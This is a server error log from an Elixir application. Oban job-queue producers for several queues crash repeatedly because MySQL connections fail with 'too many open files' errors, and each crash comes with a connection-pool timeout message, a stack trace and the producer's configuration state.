State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:11:51.237378Z], limit: 10, uuid: "9729fbd5-5846-4d55-9bd6-42ed94a48f89", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:51.237408Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110661>, refresh_timer: #Reference<0.2525715032.1068236804.258377>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:03.775000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:06.172000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:06.189000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:06.639000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:11:57.241743Z], limit: 50, uuid: "0c227f09-8c56-4d76-9ccc-f2b588c248ba", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:57.241748Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110813>, refresh_timer: #Reference<0.2525715032.1121189889.110793>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:11:57.241519Z], limit: 5, uuid: "cfcb5b8c-405e-48f2-be1e-8f6530ca459b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:57.241525Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110817>, refresh_timer: #Reference<0.2525715032.1099431938.9322>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:09.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:11:57.239903Z], limit: 5, uuid: "96d478e3-42b1-489e-a351-20db334db008", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:57.239909Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110816>, refresh_timer: #Reference<0.2525715032.1099431938.9298>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:09.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:11:57.241517Z], limit: 20, uuid: "ea585e4d-6a1f-4f68-a7a5-651ef6805edb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:57.241523Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110815>, refresh_timer: #Reference<0.2525715032.1099431938.9318>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:11:57.241780Z], limit: 3, uuid: "a5bbd082-d658-4270-9540-817a3f13404b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:57.241786Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110814>, refresh_timer: #Reference<0.2525715032.1121189889.110796>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:10.187000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2005ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:12:03.238412Z], limit: 10, uuid: "cb86ecf3-04ab-4664-9a04-496e37b2b2fa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:03.238419Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110924>, refresh_timer: #Reference<0.2525715032.1099431938.9449>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:16.401000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:18.851000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:20.949000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:12:09.241125Z], limit: 50, uuid: "ccf83dc5-0672-4983-a6a5-1123a99b72a1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:09.241135Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.258649>, refresh_timer: #Reference<0.2525715032.1077411843.240833>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:12:09.241360Z], limit: 5, uuid: "8cf6b3b9-4840-4d58-ba84-c059d18336fc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:09.241366Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.258646>, refresh_timer: #Reference<0.2525715032.1068236804.258640>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2076ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
